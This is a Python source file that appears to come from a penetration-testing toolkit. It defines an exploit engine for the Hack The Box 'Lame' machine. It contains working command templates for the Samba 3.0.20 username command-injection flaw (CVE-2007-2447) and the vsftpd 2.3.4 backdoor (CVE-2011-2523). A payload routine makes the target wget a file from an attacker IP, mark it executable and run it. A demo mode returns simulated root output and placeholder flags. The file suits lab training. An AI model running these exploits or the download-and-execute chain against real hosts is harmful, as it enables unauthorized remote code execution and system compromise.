"""Basic exploit engine for HTB Lame scenario."""

import asyncio
import logging
from typing import Any

from wish_tools.execution.executor import ToolExecutor

logger = logging.getLogger(__name__)


class ExploitEngine:
    """Basic exploit engine for known vulnerabilities."""

    def __init__(self, tool_executor: ToolExecutor, demo_mode: bool = True):
        self.tool_executor = tool_executor
        self.demo_mode = demo_mode  # Demo mode flag
        self.exploits = {
            "CVE-2007-2447": {
                "name": "Samba 3.0.20 - Remote Command Execution",
                "verify_commands": [
                    "smbclient //{{target}}/tmp -U '/=`id`' -N",
                    "smbclient //{{target}}/tmp -U '/=`whoami`' -N",
                ],
                "exploit_commands": [
                    "smbclient //{{target}}/tmp -U '/=`{{command}}`' -N",
                ],
                "payload_commands": [
                    (
                        "smbclient //{{target}}/tmp -U "
                        "'/=`wget http://{{attacker_ip}}:{{port}}/{{payload}} "
                        "-O /tmp/{{payload}}`' -N"
                    ),
                    "smbclient //{{target}}/tmp -U '/=`chmod +x /tmp/{{payload}}`' -N",
                    "smbclient //{{target}}/tmp -U '/=`/tmp/{{payload}}`' -N",
                ],
            },
            "CVE-2011-2523": {
                "name": "vsftpd 2.3.4 - Backdoor Command Execution",
                "verify_commands": [
                    (
                        'python -c "import socket;s=socket.socket();'
                        "s.connect(('{{target}}',21));s.send(b'USER evil)\\r\\n');"
                        "s.send(b'PASS test\\r\\n');s.close()\""
                    ),
                    "nc -nv {{target}} 6200",
                ],
                "exploit_commands": [
                    (
                        'python -c "import socket;s=socket.socket();'
                        "s.connect(('{{target}}',21));s.send(b'USER evil)\\r\\n');"
                        "s.send(b'PASS test\\r\\n');s.close()\""
                    ),
                    "nc -nv {{target}} 6200",
                ],
            },
        }

    async def verify_vulnerability(self, cve_id: str, target_ip: str, command: str = "id") -> dict[str, Any]:
        """Verify if a vulnerability is exploitable."""
        if cve_id not in self.exploits:
            return {"success": False, "error": f"Unknown CVE: {cve_id}"}

        exploit_info = self.exploits[cve_id]

        # Return simulation results in demo mode
        if self.demo_mode:
            logger.info(f"[DEMO MODE] Simulating vulnerability verification for {cve_id}")

            # Realistic delay
            await asyncio.sleep(2)

            # Simulation results based on CVE
            if cve_id == "CVE-2007-2447":
                if command == "id":
                    return {
                        "success": True,
                        "verified": True,
                        "output": "uid=0(root) gid=0(root) groups=0(root)",
                        "cve_id": cve_id,
                        "target": target_ip,
                    }
                elif command == "whoami":
                    return {
                        "success": True,
                        "verified": True,
                        "output": "root",
                        "cve_id": cve_id,
                        "target": target_ip,
                    }
                else:
                    return {
                        "success": True,
                        "verified": True,
                        "output": f"[Simulated output for command: {command}]",
                        "cve_id": cve_id,
                        "target": target_ip,
                    }
            elif cve_id == "CVE-2011-2523":
                return {
                    "success": True,
                    "verified": True,
                    "output": "Backdoor shell opened on port 6200",
                    "cve_id": cve_id,
                    "target": target_ip,
                }
            else:
                return {
                    "success": True,
                    "verified": False,
                    "output": "Vulnerability not exploitable in current configuration",
                    "cve_id": cve_id,
                    "target": target_ip,
                }

        # Real mode - actual command execution
        try:
            # Use the first verify command
            verify_cmd = exploit_info["verify_commands"][0]
            cmd = verify_cmd.replace("{{target}}", target_ip).replace("{{command}}", command)

            logger.info(f"Verifying {cve_id} with command: {cmd}")

            result = await self.tool_executor.execute_command(
                command=cmd,
                tool_name="exploit_verify",
                timeout=30,
            )

            if result.success:
                # Check if the command output contains expected results
                if command == "id" and ("uid=" in result.stdout or "gid=" in result.stdout):
                    return {
                        "success": True,
                        "verified": True,
                        "output": result.stdout,
                        "cve_id": cve_id,
                        "target": target_ip,
                    }
                elif command == "whoami" and result.stdout.strip():
                    return {
                        "success": True,
                        "verified": True,
                        "output": result.stdout,
                        "cve_id": cve_id,
                        "target": target_ip,
                    }
                else:
                    return {
                        "success": True,
                        "verified": False,
                        "output": result.stdout,
                        "error": "Command executed but no expected output",
                    }
            else:
                return {
                    "success": False,
                    "error": f"Command failed: {result.stderr}",
                }

        except Exception as e:
            logger.error(f"Exploit verification failed: {e}")
            return {"success": False, "error": str(e)}

    async def execute_exploit(self, cve_id: str, target_ip: str, command: str) -> dict[str, Any]:
        """Execute an exploit with a specific command."""
        if cve_id not in self.exploits:
            return {"success": False, "error": f"Unknown CVE: {cve_id}"}

        exploit_info = self.exploits[cve_id]

        # Return simulation results in demo mode
        if self.demo_mode:
            logger.info(f"[DEMO MODE] Simulating exploit execution for {cve_id}")

            # Realistic delay
            await asyncio.sleep(3)

            # Simulation results based on CVE
            if cve_id == "CVE-2007-2447":
                output_map = {
                    "id": "uid=0(root) gid=0(root) groups=0(root)",
                    "whoami": "root",
                    "pwd": "/root",
                    "ls": "Desktop  Documents  Downloads  root.txt",
                    "uname -a": "Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux",
                    "cat /root/root.txt": "92ca1234567890abcdef1234567890ab",
                    "cat /home/makis/user.txt": "6945abcd1234567890abcdef12345678",
                }
                output = output_map.get(command, f"Command executed: {command}")

                return {
                    "success": True,
                    "output": output,
                    "error": None,
                    "cve_id": cve_id,
                    "target": target_ip,
                    "command": command,
                }
            else:
                return {
                    "success": True,
                    "output": f"[Simulated exploit output for {cve_id}]",
                    "error": None,
                    "cve_id": cve_id,
                    "target": target_ip,
                    "command": command,
                }

        # Real mode - actual command execution
        try:
            # Use the first exploit command
            exploit_cmd = exploit_info["exploit_commands"][0]
            cmd = exploit_cmd.replace("{{target}}", target_ip).replace("{{command}}", command)

            logger.info(f"Executing exploit {cve_id} with command: {cmd}")

            result = await self.tool_executor.execute_command(
                command=cmd,
                tool_name="exploit",
                timeout=60,
            )

            return {
                "success": result.success,
                "output": result.stdout,
                "error": result.stderr if not result.success else None,
                "cve_id": cve_id,
                "target": target_ip,
                "command": command,
            }

        except Exception as e:
            logger.error(f"Exploit execution failed: {e}")
            return {"success": False, "error": str(e)}

    async def deploy_payload(
        self, cve_id: str, target_ip: str, attacker_ip: str, payload_name: str, port: int = 8080
    ) -> dict[str, Any]:
        """Deploy a payload using the exploit."""
        if cve_id not in self.exploits:
            return {"success": False, "error": f"Unknown CVE: {cve_id}"}

        exploit_info = self.exploits[cve_id]

        if "payload_commands" not in exploit_info:
            return {"success": False, "error": f"No payload deployment for {cve_id}"}

        try:
            results = []

            for payload_cmd in exploit_info["payload_commands"]:
                cmd = (
                    payload_cmd.replace("{{target}}", target_ip)
                    .replace("{{attacker_ip}}", attacker_ip)
                    .replace("{{payload}}", payload_name)
                    .replace("{{port}}", str(port))
                )

                logger.info(f"Deploying payload step: {cmd}")

                result = await self.tool_executor.execute_command(
                    command=cmd,
                    tool_name="payload_deploy",
                    timeout=30,
                )

                results.append(
                    {
                        "command": cmd,
                        "success": result.success,
                        "output": result.stdout,
                        "error": result.stderr if not result.success else None,
                    }
                )

                # If any step fails, stop the deployment
                if not result.success:
                    break

                # Brief pause between steps
                await asyncio.sleep(1)

            overall_success = all(r["success"] for r in results)

            return {
                "success": overall_success,
                "results": results,
                "cve_id": cve_id,
                "target": target_ip,
                "payload": payload_name,
            }

        except Exception as e:
            logger.error(f"Payload deployment failed: {e}")
            return {"success": False, "error": str(e)}

    def get_exploit_info(self, cve_id: str) -> dict[str, Any] | None:
        """Get information about an exploit."""
        return self.exploits.get(cve_id)

    def list_available_exploits(self) -> list[str]:
        """List all available exploits."""
        return list(self.exploits.keys())

    def suggest_exploit_commands(self, cve_id: str, target_ip: str) -> list[str]:
        """Suggest exploit commands for a specific vulnerability."""
        if cve_id not in self.exploits:
            return []

        exploit_info = self.exploits[cve_id]
        suggestions = []

        # Add verification commands
        for cmd in exploit_info["verify_commands"]:
            suggestions.append(f"Verify: {cmd.replace('{{target}}', target_ip)}")

        # Add basic exploit commands
        for cmd in exploit_info["exploit_commands"]:
            suggestions.append(f"Exploit: {cmd.replace('{{target}}', target_ip).replace('{{command}}', 'id')}")

        return suggestions
